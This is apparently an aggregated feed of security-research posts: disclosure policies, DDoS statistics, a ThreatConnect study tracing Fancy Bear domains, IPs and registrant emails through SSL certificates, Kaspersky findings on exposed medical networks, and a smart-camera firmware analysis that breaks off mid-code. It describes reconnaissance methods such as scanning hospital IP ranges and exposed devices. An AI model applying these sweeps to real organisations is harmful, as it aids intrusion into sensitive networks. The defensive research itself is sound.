E771099ACA570F53A94BE713A3C2ED63
3062659C25F44EEA5FE8D3D85C99907D
AEBB87E9AEA464EFB6FCC550BF7D2D38
38CE6C161F87345B773795553AAE2C28
CA3E7A442D5A316DA9ED8DB3C4D913A7
34F43BAAFAEBDAC4CC582E1AAACF26BD
F8DE7065A7D9F191FD0A53289CDB959B
34EB1FFDC8D9D5DD3C32A0ACC4995E29
020A9064D3819A0293940A4F0B36DD2A
EE78507A293D007C47F3D2D471AAD013
0E129E2F4EA3C09BFB0C4841E173580C
50BF20954B8388FA3D5E048E6FA493A9



Securelist - Kaspersky Lab’s cyberthreat research and reports

Netflix, Dropbox promise not to sue security researchers, with caveats

Netflix and Dropbox have both noted recently that they won’t sue security researchers who find and disclose vulnerabilities in their products. The only caveat is: the researchers must conduct the research in line with their vulnerability disclosure policy and bug bounty program guidelines. Dropbox Dropbox Head of Security Chris Evans announced on Wednesday that they’ve updated their vulnerability disclosure policy to clearly say that the company will “not initiate legal action for security research conducted … More

The post Netflix, Dropbox promise not to sue security researchers, with caveats appeared first on Help Net Security.

Q4 2017 Global DDoS Threat Landscape Report

Today we are releasing our latest Global DDoS Threat Landscape Report, a statistical analysis of 5,055 network and application layer DDoS attacks mitigated by Imperva Incapsula services during Q4 2017.

In Q4, the number of application layer attacks nearly doubled, just as the number of network layer assaults declined. In both cases, however, we saw attacks grow more persistent.

Target wise, the cryptocurrency industry continued to draw the attention of DDoS offenders, ranking as the fifth most attacked industry this quarter alongside some of the more regular attack targets. Another notable development was the high number of network layer assaults against businesses in the APAC region. In the last quarter of the year, the region served as home to seven out of the top-ten attacked countries. Combined, they drew 68.9 percent of all network layer DDoS attacks.DDoS report_top attacked countriesFigure 1: Top attacked countries, by number of network layer attacks 

Read the full report >>

Report Highlights

Amidst Price Spike, Attacks on Cryptocurrency Industry Continue

Bitcoin was once again the eighth most targeted industry in Q4, after making its first appearance on the top-10 list in the prior quarter. Furthermore, it came in fifth place for the most attacks suffered, outscoring such established and commonly attacked business sectors as financials and publishing.DDoS report_top attacked industriesFigure 2: Top attacked industries, by number of network layer attacks

The increase in attacks against bitcoin-related sites is likely linked to a growth spike experienced by the industry late last year when cryptocurrency prices reached an all-time high. As prices have since subsided, it will be interesting to see if the overall number of attacks declines as well in the coming months.

Even after the recent price drop, there currently remains 190 active cryptocurrency exchanges, up from 70 in Q3. Of these, 24 exchanges have a daily turnover of more than 10 million USD. With an ever-increasing number of targets, despite the volatility in the price of bitcoin, we expect to see assaults directed at the cryptocurrency industry continue for the foreseeable future.

Application Layer Attacks Double, Assaults Become More Persistent

This quarter, we saw a spike in the number of application assaults, which increased 43 percent over their Q3 levels. Network layer attacks, on the other hand, fell by more than 50 percent since last quarter.

DDoS report_number of attacks per week

Figure 3: Number of weekly DDoS attacks QoQ

Interestingly, even as the number of application layer assaults went up and network layer attacks decreased, both became more persistent. Our data shows that 63.3 percent of application layer DDoS targets were subjected to repeat attacks, up from 46.7 last quarter.

DDoS report_repeat app layer attacks

Figure 4: Repeat application layer attacks Q0Q

In the case of network layer attacks, the number of repeat DDoS assaults went up to 67.4 percent, compared to 57.8 percent in Q3. However, the average number of attack decreased, as most of the repeat assaults consisted of two to five bursts.

DDoS report_repeat network layer attacks

Figure 5: Repeat network layer attacks Q0Q

The increase in attack persistence reflects the growing ease with which bad actors can launch multiple DDoS attacks. Today, even if a mitigation service is able to deflect an initial attack, perpetrators have every reason to try again and again, until they take down their target or grow bored and move on.

This obviously highlights the need for a hands-off mitigation solution that can be automatically activated to mitigate every repeat attack burst. In the absence of such a solution, a persistent DDoS campaign can quickly turn into a prolonged war of attrition, forcing an enterprise to spend money and man-hours to fight off a series of assaults.

Read the full report >>

A Song of Intel and Fancy

A case study tracking adversary infrastructure through SSL certificate use featuring Fancy Bear/APT28/Sofacy.

A long time ago, in a galaxy... No. Stop. We're not doing that anymore. Instead, we're pivoting to Game of Thrones, or A Song of Ice and Fire for you bookworms, because the fantastical realm provides great material we can relate to cybersecurity.

This research builds off our previous work using SSL certificates and splash pages to proactively identify Fancy Bear infrastructure. We identified a SSL certificate subject string that Fancy Bear has used consistently since 2016, which further illuminates their infrastructure and registration tactics. Our hope is that in addition to the indicators themselves, our readers will apply these techniques to their research on other adversaries.

We'll walk through the process of how we conducted this research, which used ThreatConnect, Censys, Farsight Security Passive DNS, RiskIQ, and DomainTools. To date, this line of research has identified 47 IPs, 46 domains, 33 registrant email addresses, and 47 SSL certificates shared in ThreatConnect in Incident 20180209C: "C=GB, ST=London, L=London, O=Security, OU=IT" Certificate Infrastructure. It also underscores consistent Fancy Bear tactics including:

  • Use of small or boutique hosting service providers such as Domains4Bitcoins, ITitch, and NJALLA.
  • Minimizing the reuse of email addresses to register domains.
  • Regular use of email domains sapo[.]pt, mail[.]com, centrum[.]cz, and cock[.]li or privacy protection services.
  • Domain registration and SSL certificate creation times that are consistent with an actor operating in Moscow.

The Watchers in the Night

Everybody thinks they are House Stark material, but we would assert cybersecurity personnel are more like the sworn members of the Night's Watch. You are the watchers on the firewall, the sword in the dark web, and the shield that guards the networks of your organization.

If we're being honest, the ThreatConnect Research team and cyber threat intelligence analysts at large, are most like... wait for it... Samwell Tarly (none of us harbors the delusion of being Jon Snow). Tarly is dedicated to aggregating and analyzing intelligence on threats beyond the wall -- the Night King and his White Walkers -- to better understand how the Night's Watch can react to them and proactively address them.

 

 

Looking for Adversary Infrastructure Using a Common SSL Certificate Subject String

In our recent efforts to proactively address Fancy Bear, we reviewed SSL certificate information in Censys for domains and IPs using a "Coming soon" splash page consistent with previously identified Fancy Bear infrastructure. We found the same subject field used repeatedly -- "C=GB, ST=London, L=London, O=Security, OU=IT, CN=(domain name)" -- as shown below for space-delivery[.]com and webversionact[.]org.

 


Censys SSL certificate information showing consistent use of subject string.

 

This subject line indicates a SSL certificate likely created using OpenSSL, where the creator assigns values for the country (C), state (ST), location (L), organization (O), organizational unit (OU), and common name (CN). It is important to note that the common name is intended to reflect the domain name where the SSL certificate is being used, but in our research we found several instances where this domain name was misspelled or altogether different from the domain where it was used. More on that later.

 

Radiating out: how common is that subject string?

Next, we needed to get an idea of how widely this string is used and what other infrastructure is using similar SSL certificates to gain insight into more possible Fancy Bear infrastructure. Again using Censys, we found 47 certificates that have the same SSL string. In Censys we also queried for IP addresses that host a server using a SSL certificate with that string. The latter provides a view of active infrastructure, while the former can be used to find both historical and active infrastructure.

Censys certificate search results for identified subject string.

 

Careful though: other individuals could easily use OpenSSL to create certificates with the same subject fields; this alone is not sufficient to identify Fancy Bear. Using ThreatConnect's Analyze function we saw that at least 23 of the specified common names have been associated with Fancy Bear attacks. Many of the remaining domains have also been identified through our ongoing research into name servers that Fancy Bear uses. This increases our confidence in assessing that SSL certificates with that subject string probably are associated with Fancy Bear activity.

 

ThreatConnect Analyze results showing indicators that already have information in ThreatConnect.

 

Stitching together certificates, IP addresses, and the right domains

Censys SSL certificate information for 46ce0b05f302e0d855e9cc751100299345466581.

 

At least 39 of the certificates identified in the previous query are no longer in use, but we used RiskIQ to search for the SHA-1 hash and identified the IP addresses that previously hosted a server using that certificate. For example, searching for the previously used SSL certificate 46ce0b05f302e0d855e9cc751100299345466581, we saw that it was used at the IP 191.101.31.96.

 

RiskIQ SSL certificate information for 46ce0b05f302e0d855e9cc751100299345466581.

 

Reviewing this IP address in ThreatConnect using our integration with Farsight DNSDB, we saw that this IP address hosted the domain remsupport[.]org. This is a notable finding as well because the domain does not correspond to the ecitcom[.]net that was specified in the common name field in the certificate subject, so we took an extra step to make sure we matched up the right certificate to the right domain.

 

ThreatConnect's Farsight Security Passive DNS integration results for 191.101.31.96.

 

Conducting this same process for all of the SSL certificates, we came up with the following list sorted by the SSL certificate's create date/time:

SSL Certificate SHA-1 IP Hosting Certificate SSL Certificate Create Date/Time Domain Hosted At IP or Common Name in SSL Certificate
62e1045ae816b5f44cb43ab52ecb8e4534b63147 87.121.52.162 2/20/18 12:19 webversionact[.]org
1e185ee8ac3c3eafcc2b4d842ed5711b9c62a305 151.80.74.170 2/8/18 7:57 mdcrewonline[.]com
43df735cfea482ffc27252ae08c94f359c499f69 151.80.74.167 1/31/18 11:52 cdnverify[.]net
9d73605a130c377909fe463bc68ac83f73c04a46 146.185.253.131 1/23/18 11:28 nomartung[.]org
fcc696070de34157a02c46aa765c3c7969677fea 179.43.160.184 12/21/17 15:55 europehistoricalmuseum[.]com
126e9d0cf80badf7810859fc116267d40ed1c58b 92.222.136.105 12/21/17 8:34 supservermgr[.]com
9153efa5001c67fdce4bb861f8758cd90b072901 89.34.111.160 10/30/17 13:44 satellitedeluxpanorama[.]com
739e8cc0519aeeb8dd1417e45f9577bd394684f0 185.216.35.26 10/30/17 10:41 webviewres[.]net
ffd3a351d6d438405a917af66634091673bbd96b 149.255.35.6

149.255.35.7

10/30/17 9:43 vermasterss[.]com
89bba1abb0078ffab8dbf2cfa85697b147d8223d 89.37.226.105 10/27/17 7:46 funnymems[.]com
3f17cbb5792e6b9ff8607b23bbc8ad40c735819c 185.86.148.57 10/20/17 10:21 space-delivery[.]com
6860d7aabef2f2382476d9a350c225956bf351c7 23.227.196.21 10/17/17 8:51 travelbern[.]com
b86f517d347e53b3b7116682d7f36a3b77fa8bdf 10/16/17 8:41 space-delivery[.]com
46330eac674b27a4f34ba6864a74bfef59998e5c 146.185.253.132 10/4/17 11:46 myinvestgroup[.]com
551a8e0b504fa19e643dae39002bd0b91a5cfa7e 176.223.111.10 10/2/17 14:29 nanetsdeb[.]com
2a71f7ed0de7b89f4a10d329227898edcd3af6ce 87.120.37.25 9/29/17 13:52 nanetsdeb[.]com
b99346a7f7809578330e4763329209c2381d2f95 176.223.165.217 9/29/17 11:48 fastphotobucket[.]com
ea3198f2ef8685a6f8a1303a55fdb7062a6f30b0 185.86.148.212 7/12/17 13:05 rapidfileuploader[.]org
b64268d418592d481e13ed6aa4dc233b9dbd486d 7/7/17 7:39 viters[.]org
9aa7508f1be201120511b1a4bc91e653c82df924 89.33.246.117 6/28/17 12:57 mvtband[.]net
d514a2a79a0e1a046846963797319fe8e00cdbeb 89.44.103.18 4/13/17 7:43 spelns[.]com
2e53a96a63c8cc17f2824bcdf7c93d64dad45170 95.215.45.43 4/3/17 13:14 wmdmediacodecs[.]com
b07d766664cfa183dba3ee32ab35ed32c7f501c2 95.215.47.226 3/29/17 10:09 acrobatportable[.]com
f9abac0f831e9ea43727a02810ebd6969e8e5951 173.243.112.202 2/3/17 9:06 lgemon[.]org
37ab57a30ffd3826a24acd2b3b596d7bf160960c 91.108.68.171 1/31/17 8:41 lowprt[.]org
1f2a652a68f9ae6a241aed55d80597222d6c2b21 103.41.177.44 1/13/17 9:16 evbrax[.]org
bd4255444ba646796c16e967ec0aa1dd95a7a0f2 195.12.50.163 1/13/17 7:22 wsusconnect[.]com
09ab2ae3ff9f175c18786656194a81be5d6ff732 89.42.212.141 12/21/16 9:35 gtranm[.]com
010e271b2c860caba78475f02edcd30d7a896383 146.0.43.98 12/15/16 9:57 reportscanprotecting[.]org
513587ce94be7d70b1f6661f22758ec6fd591d11 185.156.173.70 11/30/16 8:03 runvercheck[.]com
8dc11f57d69a5583b196c28a9cf816e10a3fa327 95.215.47.162 11/30/16 7:47 noticermk[.]com
46ce0b05f302e0d855e9cc751100299345466581 191.101.31.96 11/30/16 7:35 remsupport[.]org
edb4339cdfa0b43d8ef5fb49cc9fdcbbbf2208be 86.105.1.121 11/25/16 7:30 globaltechresearch[.]org
0153d822178cd0f0725a9a1438d5b2a49edfe71a 87.236.215.134 11/17/16 6:09
d1a1d61806513cde9b2f8d817a55cc16384f490f 89.45.67.26 11/11/16 9:35 applecloudupdate[.]com
9d54194ba9140c148b8b3eb900dfb7b11ec155e2 86.105.1.13 11/10/16 8:00 joshel[.]com
9baf76a0a3a4ce78d3c2ce04e64cae0ea604c7aa 89.45.67.20 10/31/16 9:20 akamaisoftupdate[.]com
7dcf45941d734b4c42c9a1f90d57e1c816610dff 62.113.232.197 10/26/16 7:57 ppcodecs[.]com
3bc30b4ff457d10651688140b0844fd0d17f4a64 176.223.111.237

46.102.152.132

10/24/16 8:22 appservicegroup[.]com
c201e616fe90ae2592c34de03611748510aba143 179.43.128.75 9/13/16 5:33 dateosx[.]com
f6ac5bd6aa52d96d8d413157fbfd1a6be7f65cb7 86.105.18.146 9/9/16 13:27 dowssys[.]com
5be56e0660a001a12c8ef250ff86369c50ca73a8 87.236.215.21 8/18/16 12:32 microsoftstoreservice[.]com
ea8e4e7882a116ed43db4e5218efb2fd3ba2d116 191.96.249.31 7/20/16 6:56 microsoftdccenter[.]com
c3b7df9d2a4eb05d399c336eec4c6ff0688596bd 95.215.44.247 7/12/16 6:12 mvsband[.]com
c5ec8bb4bb5842930da935e13b9bee604e3b6182 95.215.44.240 7/8/16 7:54 dvsservice[.]com
f65d9f8f385cf384cee24a6d04df600d575dd5f6 51.254.76.54 7/8/16 7:09 akamaitechupdate[.]com
7d5eaecc2c6865a1f846d03b6d3e0b649a36c2c1 185.86.148.14 6/1/16 7:35

adobeupdatetechnology[.]com

Once that we had a list of the domains, we further enriched this information by identifying the WHOIS information for these domains. Doing so provided historical information on how these domains were registered.

 

 

Gathering Intelligence: Layering on WHOIS Data

To do so, we used some capabilities and integrations from our friends at DomainTools. Specifically, we were looking to identify registrant email addresses, name servers/hosting providers, and creation timestamps. We started by doing a DomainTools Iris search for the domains listed above.

DomainTools Iris search for identified domains.

 

This provided the current WHOIS information for those domains. However, some of the domains have been taken over since they were operational or the WHOIS has otherwise changed since it was registered for use in operations. For any domains where we thought this was the case, we reviewed the WHOIS history in our DomainTools Spaces app to identify the original registration information that corresponds to the timeframe in which the domain was operational.

ThreatConnect's DomainTools Spaces App WHOIS history for adobeupdatetechnology[.]com.

 

Ultimately, we identified the below registration information for these domains.

 

Domain Original Registrant Original Nameserver Create Date Create Time
webversionact[.]org Private registration NS-CANADA.TOPDNS.COM 2/14/18 7:44:16
cdnverify[.]net declan.jefferson@sapo[.]pt ns1.ititch.com 1/31/18 7:58:54
nomartung[.]org Private registration NS-CANADA.TOPDNS.COM 1/17/18 3:10:21
mdcrewonline[.]com htomary@cock[.]li stvl113289.earth.obox-dns.com 12/21/17 13:19:00
supservermgr[.]com Private registration NS-CANADA.TOPDNS.COM 12/21/17 7:58:00
europehistoricalmuseum[.]com Private registration ns1.bulletdns.net 10/26/17 2:22:36
vermasterss[.]com reynoso89@cock[.]li stvl113289.earth.obox-dns.com 10/25/17 8:24:14
webviewres[.]net Private registration ns1.njal.la 10/25/17 8:23:14
funnymems[.]com Private registration ns1.njal.la 10/24/17 11:11:37
satellitedeluxpanorama[.]com Private registration ns1.njal.la 10/20/17 11:25:22
space-delivery[.]com elbertnagel@cock[.]li ns1.ipstates.net 10/9/17 9:22:13
nanetsdeb[.]com gabrielromao@sapo[.]pt ns1.ititch.com 9/29/17 5:53:25
fastphotobucket[.]com Private registration 1-you.njalla.no 9/28/17 14:13:26
myinvestgroup[.]com loisoji@firemail[.]cc ns1.ipstates.net 9/28/17 9:27:23
travelbern[.]com k0koth@sapo[.]pt stvl113289.earth.obox-dns.com 9/12/17 11:00:44
rapidfileuploader[.]org Private registration NS-CANADA.TOPDNS.COM 7/11/17 13:27:47
viters[.]org Private registration ns1.nemohosts.com 7/6/17 13:08:10
mvtband[.]net Private registration stvl113289.earth.obox-dns.com 6/27/17 8:57:22
wmdmediacodecs[.]com istakav@cock[.]li stvl113289.earth.obox-dns.com 3/31/17 12:18:37
spelns[.]com Private registration ns1.nemohosts.com 3/22/17 18:28:42
lgemon[.]org ezgune@cock[.]li STVL113289.MERCURY.OBOX-DNS.COM 1/31/17 11:43:39
lowprt[.]org avramberkovic@centrum[.]cz NS4.ITITCH.COM 1/20/17 12:48:37
acrobatportable[.]com jul_marian@centrum[.]cz stvl113289.earth.obox-dns.com 1/12/17 9:23:47
evbrax[.]org kern82@gmx[.]net ns1.ititch.com 1/10/17 8:48:43
gtranm[.]com wee7_nim@centrum[.]cz stvl113289.earth.obox-dns.com 12/14/16 8:54:26
reportscanprotecting[.]org abor.g.s@europe[.]com ns1.carbon2u.com 12/3/16 9:43:29
runvercheck[.]com cauel-mino@centrum[.]cz stvl113289.earth.obox-dns.com 11/25/16 12:11:35
remsupport[.]org ja.philip@centrum[.]cz stvl113289.earth.obox-dns.com 11/25/16 11:08:16
noticermk[.]com frfdccr42@centrum[.]cz ns1.ititch.com 11/24/16 12:45:47
globaltechresearch[.]org morata_al@mail[.]com ns1.carbon2u.com 11/21/16 11:23:40
joshel[.]com germsuz86@centrum[.]cz ns1.ititch.com 11/9/16 14:18:09
applecloudupdate[.]com ll1kllan@engineer[.]com ns1.carbon2u.com 11/4/16 1:09:13
akamaisoftupdate[.]com mahuudd@centrum[.]cz ns1.carbon2u.com 10/27/16 13:23:20
wsusconnect[.]com laurent1983@mail[.]com ns1.ititch.com 10/27/16 11:22:42
apptaskserver[.]com partanencomp@mail[.]com ns1.ititch.com 10/22/16 11:26:00
appservicegroup[.]com olivier_servgr@mail[.]com ns1.carbon2u.com 10/19/16 8:27:30
ppcodecs[.]com chpiost8n@post[.]com ns1.carbon2u.com 10/19/16 7:36:39
dateosx[.]com milimil0702@mail[.]com ns1.carbon2u.com 9/13/16 10:12:31
dowssys[.]com adam_corbett@mail[.]com ns1.ititch.com 9/8/16 12:38:29
mvsband[.]com iflatley@openmailbox[.]org 1a7ea920.bitcoin-dns.hosting 8/24/16 13:38:02
microsoftstoreservice[.]com craft030795@mail[.]com ns1.ititch.com 8/19/16 8:47:21
microsoftdccenter[.]com Private registration ns1.ititch.com 7/20/16 12:51:42
dvsservice[.]net pirlo.vasces@mail[.]com 1a7ea920.bitcoin-dns.hosting 7/11/16 9:48:23
dvsservice[.]com fernando2011@post[.]com 1a7ea920.bitcoin-dns.hosting 7/5/16 14:55:25
akamaitechupdate[.]com guiromolly@mail[.]com 1a7ea920.bitcoin-dns.hosting 6/21/16 7:49:25
adobeupdatetechnology[.]com best.cameron@mail[.]com 1a7ea920.bitcoin-dns.hosting 5/30/16 14:24:25

 

We have shared this information, including the domains, IPs, and email addresses, with our Common Community in Incident 20180209C: "C=GB, ST=London, L=London, O=Security, OU=IT" Certificate Infrastructure.

 

Assessing Tactics

There are Fancy Bear tactics that we can glean and proactively exploit to identify their activity going forward in addition to monitoring for new domains/IPs that use the aforementioned SSL certificate subject string.

Hosting Service Providers/Name Servers
The domains' original name servers helps identify the hosting service providers that the actors used to procure the infrastructure. These include several providers that we've previously called out, such as Domains4Bitcoins, ITitch, Nemohosts, Carbon2u and NJALLA. We can proactively monitor for newly registered domains using these name servers and with other consistencies to Fancy Bear to potentially identify their infrastructure before it is used in operations.

Email Addresses

We used DomainTools Reverse WHOIS to search for any additional domains registered using the email addresses above. As it turns out, only one of the email addresses -- iflatley@openmailbox[.]org -- registered a second domain (rndversion[.]net). This minimal reuse of email addresses suggests an operational security (opsec) effort to deter efforts to trace out their infrastructure based on known registrants.

DomainTools Reverse WHOIS results for iflatley@openmailbox[.]org.

 

While some of the domains were registered using privacy protection services, for those that aren't we see the consistent use of sapo[.]pt, cock[.]li, centrum[.]cz, and mail[.]com. For those email domains that are less common, like cock[.]li, we can create a Track in ThreatConnect that will alert us to any new domains registered using that email domain.

 

Creating a Track in ThreatConnect.

Opsec Mistakes

When reviewing the SSL certificates, we identified several possible opsec mistakes that would either arouse suspicion or allow defenders to trace out some of their infrastructure. As we mentioned earlier, the common name in the SSL certificate field is intended to correspond to the domain name where it is being used; however, for ten of the identified certificates, that wasn't the case. In some cases, the domain name was misspelled, like the below certificate for cdnverify[.]net. This mistake would be a red flag for defenders looking to verify the legitimacy of encountered domains based on their SSL certificate.

Censys SSL certificate information for 43df735cfea482ffc27252ae08c94f359c499f69.

 

In other certificates, a completely different common name was used, as was the case for the aforementioned ecitcom[.]net. It turns out that ecitcom[.]net was the specified common name for five of the certificates listed above. When we search Censys for other certificates using that common name, we find four more certificates that were created from February 2016 to September 2016. This helps us identify the additional infrastructure 51.254.158[.]57, dowstem[.]com, 87.236.215.5, 185.61.149.24, and 80.83.115.187. Researchers can exploit mistakes like these to expand their understanding of adversary infrastructure.

 

Creation Timestamps

Finally, we can make use of the creation timestamps for the identified certificates and domains. As the chart below shows, a large majority of the certificates and domains were registered between 0600 and 1400 GMT. This is consistent with a 0900 to 1700 standard work day in Moscow. While not definitive -- other countries in the Middle East, Eastern Europe, and Western Africa are in the same timezone -- in conjunction with the previous associations to Fancy Bear this finding increases our confidence in the attribution to Fancy Bear.

 

Chart showing the number of domains and SSL certificates that were created by hour relative to Moscow's time zone (MSK).

 

The registration and certificate creation times is of limited use to identify additional Fancy Bear domains proactively - especially for a single indicator - but the consistency of the data set over time has value for defenders and researchers.

 

Conclusion: To the Citadel!

We are sometimes asked why we share out these findings publicly, the argument being that we are revealing research methodologies that Fancy Bear can now incorporate into their opsec and avoid in future operations. That's a fair concern, but in response we argue that by publicizing these findings and methodologies, we are hoping to show our readers ways to research not only Fancy Bear, but the other Night Kings that keep them up at night.

 

Additionally, as we've stated before, in publicly outing or sharing these indicators and tactics, organizations can ultimately increase the actors' costs and push them to spend more time and resources on procuring infrastructure. The more this is done, the better. Eventually, you might get to the point where you become a factor in the actor's decision making or cost benefit analysis.

Samwell Tarley's main source of intelligence, Castle Black's library, ultimately proves to be insufficient for determining how to best the Night King. He then travels to the Citadel, a huge library of intelligence consolidated from a variety of sources, in hopes of garnering knowledge that will help defend the realm. For threat intelligence researchers and cybersecurity personnel, ThreatConnect acts as a metaphorical Citadel, consolidating, aggregating, and analyzing intelligence from a range of internal and external sources. However, whereas the maesters at the Citadel seem unencumbered by what happens outside of Oldtown, ThreatConnect gives users the ability to actually act on the intelligence they receive and integrate with the defensive tools they have in place to mitigate their threats. If you want to learn more, check out our platform.

 

ThreatConnect Dashboard showing users recent intelligence from our Citadel on Fancy Bear.

The post A Song of Intel and Fancy appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Black Box Device Research reveals Pitiful State of Internet of Things Security

Internet of Things insecurity is worse than you think, according to a team of researchers who reverse engineered a series of Internet of Things devices and found them even easier to hack and exploit than believed. Security researchers in Israel have taken a good look under the hood of a number of connected devices to find out just how serious...

Read the whole entry... »

Related Stories

Time of death? A therapeutic postmortem of connected medicine

#TheSAS2017 presentation: Smart Medicine Breaches Its “First Do No Harm” Principle

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.

APT

Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.

How to live with it

  • Remove all nodes that process medical data from public
  • Periodically update your installed software and remove unwanted applications
  • Refrain from connecting expensive equipment to the main LAN of your organization

More tips at “Connected Medicine and Its Diagnosis“.

Somebody’s watching! When cameras are more than just ‘smart’

Every year the number of smart devices grows. Coffee machines, bracelets, fridges, cars and loads of other useful gadgets have now gone smart. We are now seeing the emergence of smart streets, roads and even cities.

Devices such as smart cameras have long been part of everyday life for many, as communication devices, components in security and video surveillance systems, to keep an eye on pets, etc.

The latest smart cameras can connect to the cloud. This is done so that a user can watch what’s happening at a remote location using a variety of devices.

The researchers at Kaspersky Lab ICS CERT decided to check the popular smart camera to see how well protected it is against cyber abuses. This model has a rich feature list, compares favorably to regular webcams and can be used as a baby monitor, a component in a home security system or as part of a monitoring system.

An initial analysis using publicly available sources showed that there are almost 2,000 of these cameras on the Internet with public IP addresses.

Hanwha SNH-V6410PN/PNW SmartCam: specifications

This device is capable of capturing video with resolutions of 1920×1080, 1280×720 or 640×360, it has night vision capability and a motion sensor, and supports two-way communication, i.e. apart from capturing video and sound it can also produce sound using an in-built speaker. The camera works via a cloud-based service; in other words, it doesn’t connect directly to a device such as a computer. It is configured by creating a wireless hotspot on the camera and connecting it to the main router via Wi-Fi. Users can control the camera from their smartphones, tablets or computers. It should be noted that the camera’s data can only be uploaded to the cloud; there is no other way of communicating between the user and the camera.

The camera is based on the Ambarella S2L system (ARM architecture). Amboot is used as its initial loader. After a standard boot, Amboot loads the Linux core with a specific command as a parameter:

console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc model=SNH-V6410PN ethaddr=************ sn=ZC7D6V2H*********
s=c

After that, systemd launches. The system then boots as normal. Different partitions are mounted, and commands from rc.local are executed. When executing rc.local, the file mainServer is launched in daemon mode, which is the core of the camera’s operation logic. mainServer executes the commands that are sent to it via UNIX socket /tmp/ipc_path via binary protocol. Scripts written in PHP as well as CGI are used to process user files. While launching, mainServer opens UNIX socket /ipc_path. Analysis of the PHP scripts has shown that the main function responsible for communication with mainServer is in the file /work/www/htdocs_weboff/utils/ipc_manager.php.

Interaction with the cameras is via the cloud only

Communication with the user

When a command arrives from the user (e.g., to rotate the camera, select a tracking area, switch to night vision mode, etc.), it is analyzed. Each command or parameter has its own flag assigned to it, which is a constant. The main flags are documented in the file /work/www/htdocs_weboff/utils/constant.php. Later on, the packet header and payload is created, and a request is sent via UNIX socket /tmp/ipc_path to mainServer.

An analysis of the file ipc_manager.php shows that no authentication is used at this stage. The request is sent on behalf of the user ‘admin’.

function makeHeader($cmd, $act, $type, $len){
$header = array();
$header = array_fill(0, 77, 0x00);
$header[HEADER_OFF_MAGIC_NUMBER] = 0xFE;
$header[HEADER_OFF_MAGIC_NUMBER+1] = 0xFF;
$header[HEADER_OFF_MAGIC_NUMBER+2] = 0xFE;
$header[HEADER_OFF_MAGIC_NUMBER+3] = 0xFF;
